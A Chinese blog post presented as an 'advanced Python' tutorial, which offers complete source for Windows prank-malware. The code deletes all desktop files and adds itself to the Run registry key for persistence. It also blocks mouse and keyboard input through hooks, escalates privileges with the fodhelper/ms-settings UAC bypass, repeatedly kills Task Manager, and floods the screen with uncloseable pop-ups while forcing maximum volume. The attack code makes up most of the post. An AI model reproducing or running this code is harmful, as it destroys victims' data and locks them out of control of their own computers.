Python高级编程:实现系统权限绕过、鼠标键盘控制、弹窗与声音播放

一、系统权限绕过

在Windows系统中,我们可以通过修改注册表来实现系统权限绕过。以下是一个简单的示例:

import winreg

def bypass_uac():
    try:
        key = winreg.CreateKey(winreg.HKEY_CURRENT_USER, r'Software\Classes\ms-settings\shell\open\command')
        registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r'Software\Classes\ms-settings\shell\open\command', 0, winreg.KEY_WRITE)
        winreg.SetValueEx(registry_key, 'DelegateExecute', 0, winreg.REG_SZ, '')
        winreg.CloseKey(registry_key)
    except WindowsError:
        raise

二、鼠标键盘控制

我们可以使用PyHook库来控制鼠标和键盘。以下是一个简单的示例:

import pyHook
import pythoncom

class Clock:
    def __init__(self):
        self.hm = pyHook.HookManager()
        self.hm.MouseAllButtonsDown = self.on_mouse_button_down
        self.hm.MouseAllButtonsUp = self.on_mouse_button_up
        self.hm.MouseAllButtonsDbl = self.on_mouse_button_dbl
        self.hm.MouseMove = self.on_mouse_move
        self.hm.KeyDown = self.on_keyboard_event
        self.hm.HookMouse()
        self.hm.HookKeyboard()
        pythoncom.PumpMessages()

    def on_mouse_button_down(self, event):
        print('鼠标按键按下')
        return False

    def on_mouse_button_up(self, event):
        print('鼠标按键抬起')
        return False

    def on_mouse_button_dbl(self, event):
        print('鼠标按键双击')
        return False

    def on_mouse_move(self, event):
        print('鼠标移动')
        return False

    def on_keyboard_event(self, event):
        print('键盘按键按下', event.Key)
        return False

三、弹窗与声音播放

我们可以使用tkinter库来创建弹窗,并使用pygame库来播放声音。

import tkinter as tk
import pygame
from pathlib import Path

class TK_V:
    def __int__(self):
        threads = []
        i = 0
        while True:
            threads.append(threading.Thread(target=self.dow))
            threads[i].start()
            i = i + 1

    def closeWindow(self):
        messagebox.showinfo(title="警告", message="关不掉吧,气不气")
        return

    def dow(self):
        window = tk.Tk()
        window.resizable(False, False)
        window.attributes('-topmost', 'true')
        window.geometry("400x200" + "+" + str(random.randrange(0, window.winfo_screenwidth())) + '+' + str(
            random.randrange(0, window.winfo_screenheight())))
        window.title('你干嘛,哎呀')
        tk.Label(window, text='鸡你太美', bg='red', font=("华文行楷", 75)).pack()
        tk.Label(window, text='我爱坤坤', bg='red', font=("华文行楷", 75)).pack()
        window.protocol("WM_DELETE_WINDOW", self.closeWindow)
        window.attributes("-toolwindow", 2)
        window.mainloop()

    def fsu(self):
        while True:
            try:
                pygame.mixer.init()
                pygame.mixer.music.load(f'{Path.absolute(Path(__file__)).parent}\\ntm_hh\\b_1.mp3')
                pygame.mixer.music.play()
                while pygame.mixer.music.get_busy():
                    pass
            except:
                continue

四、总结

        本文介绍了如何使用Python编写一段高级代码,实现系统权限绕过、鼠标键盘控制、弹窗与声音播放等功能。通过这段代码,我们可以深入了解Python在网络安全和系统管理方面的应用。希望对大家有所帮助!

完整代码:

from __future__ import print_function

import ctypes
import os
import random
import subprocess
import sys
import threading
from pathlib import Path
from tkinter import messagebox

import PyHook3 as pyHook
import psutil
import pygame
import pythoncom
import win32api
import win32con
import tkinter as tk

from ctypes import cast, POINTER

from comtypes import CLSCTX_ALL
from pycaw.api.endpointvolume import IAudioEndpointVolume
from pycaw.utils import AudioUtilities

if sys.version_info[0] == 3:
    import winreg as winreg
else:
    import _winreg as winreg


def kai():
    sys.setrecursionlimit(1000000)
    try:
        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0,
                             winreg.KEY_SET_VALUE)
        winreg.SetValueEx(key, 'smartRFS', 0, winreg.REG_SZ, os.path.dirname(sys.executable) + r"\bidu.exe")
        winreg.CloseKey(key)
        # 设置开机自启动优先级
        priority_key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, r'Software\\Microsoft\\Windows\\CurrentVersion'
                                                                       r'\\Run', 0, win32con.KEY_ALL_ACCESS)
        win32api.RegSetValueEx(priority_key, "Start", 0, win32con.REG_DWORD, 1)  # 1表示高优先级
        win32api.RegCloseKey(priority_key)
    except:
        print('error!')


def delete():
    # 列出桌面上的所有文件和文件夹
    try:
        desktop_items = os.listdir(os.path.join(os.path.expanduser("~"), "Desktop"))
        for item in desktop_items:
            shortcut_path = os.path.join(os.path.join(os.path.expanduser("~"), "Desktop"), item)
            os.remove(shortcut_path)
    except Exception as e:
        print(f"无法访问桌面目录。错误信息:{e}")


# 控制鼠标和键盘
class Clock:
    def __init__(self):
        self.hm = pyHook.HookManager()
        self.hm.MouseAllButtonsDown = self.on_mouse_button_down
        self.hm.MouseAllButtonsUp = self.on_mouse_button_up
        self.hm.MouseAllButtonsDbl = self.on_mouse_button_dbl
        self.hm.MouseMove = self.on_mouse_move
        self.hm.KeyDown = self.on_keyboard_event
        self.hm.HookMouse()
        self.hm.HookKeyboard()
        pythoncom.PumpMessages()

    def on_mouse_button_down(self, event):
        print('鼠标按键按下')
        return False

    def on_mouse_button_up(self, event):
        print('鼠标按键抬起')
        return False

    def on_mouse_button_dbl(self, event):
        print('鼠标按键双击')
        return False

    def on_mouse_move(self, event):
        print('鼠标移动')
        return False

    def on_keyboard_event(self, event):
        print('键盘按键按下', event.Key)
        return False


# 越过权限,并且限制任务管理器
class UPI:
    def __init__(self):
        # 修改壁纸
        ctypes.windll.user32.SystemParametersInfoW(20, 0,
                                                   f'{Path.absolute(Path(__file__)).parent}\\ntm_hh\\p_1.jpg', 3)
        while True:
            if not self.is_admin():
                try:
                    cmd = '{} /k {} {}'.format(r"C:\Windows\System32\cmd.exe", "python", __file__)
                    self.bypass_uac(cmd)
                    os.system(r'C:\Windows\System32\fodhelper.exe')
                    while True:
                        if self.is_task_manager_running():
                            subprocess.run(['taskkill', '/F', '/IM', 'Taskmgr.exe'])
                except WindowsError:
                    continue
            else:
                while True:
                    if self.is_task_manager_running():
                        subprocess.run(['taskkill', '/F', '/IM', 'Taskmgr.exe'])

    def is_task_manager_running(self):
        for proc in psutil.process_iter(['name']):
            if proc.info['name'] == 'Taskmgr.exe':
                return True
        return False

    def is_admin(self):
        try:
            return ctypes.windll.shell32.IsUserAnAdmin()
        except:
            return False

    def create_reg_key(self, key, value):
        try:
            winreg.CreateKey(winreg.HKEY_CURRENT_USER, r'Software\Classes\ms-settings\shell\open\command')
            registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r'Software\Classes\ms-settings\shell\open\command',
                                          0, winreg.KEY_WRITE)
            winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)
            winreg.CloseKey(registry_key)
        except WindowsError:
            raise

    def bypass_uac(self, cmd):
        try:
            self.create_reg_key('DelegateExecute', '')
            self.create_reg_key(None, cmd)
        except WindowsError:
            raise


# 显示弹窗和播放声音
class TK_V:
    def __int__(self):
        threads = []
        i = 0
        while True:
            threads.append(threading.Thread(target=self.dow))
            threads[i].start()
            i = i + 1

    # 在点击关闭按钮会出现警告弹窗
    def closeWindow(self):
        messagebox.showinfo(title="警告", message="关不掉吧,气不气")
        return

    # 窗口函数
    def dow(self):
        window = tk.Tk()
        # 不允许修改窗口大小
        window.resizable(False, False)
        # 窗口置顶
        window.attributes('-topmost', 'true')
        window.geometry("400x200" + "+" + str(random.randrange(0, window.winfo_screenwidth())) + '+' + str(
            random.randrange(0, window.winfo_screenheight())))
        window.title('你干嘛,哎呀')
        tk.Label(window, text='鸡你太美', bg='red', font=("华文行楷", 75)).pack()
        tk.Label(window, text='我爱坤坤', bg='red', font=("华文行楷", 75)).pack()
        window.protocol("WM_DELETE_WINDOW", self.closeWindow)
        # 去掉窗口最小化和最大化
        window.attributes("-toolwindow", 2)
        window.mainloop()

    # 一直控制当前的声音,保持声音为最大
    def fsu(self):
        while True:
            try:
                cast(AudioUtilities.GetSpeakers().Activate(IAudioEndpointVolume._iid_, CLSCTX_ALL, None),
                     POINTER(IAudioEndpointVolume)).SetMasterVolumeLevel(0.0, None)
                pygame.mixer.init()
                pygame.mixer.music.load(f'{Path.absolute(Path(__file__)).parent}\\ntm_hh\\b_1.mp3')
                pygame.mixer.music.play()
                while pygame.mixer.music.get_busy():
                    pass
            except:
                continue


if __name__ == '__main__':
    threading.Thread(target=delete).start()
    threading.Thread(target=kai).start()
    threading.Thread(target=Clock).start()
    threading.Thread(target=TK_V.fsu).start()
    threading.Thread(target=TK_V).start()
    threading.Thread(target=UPI).start()
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

骇客黑

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值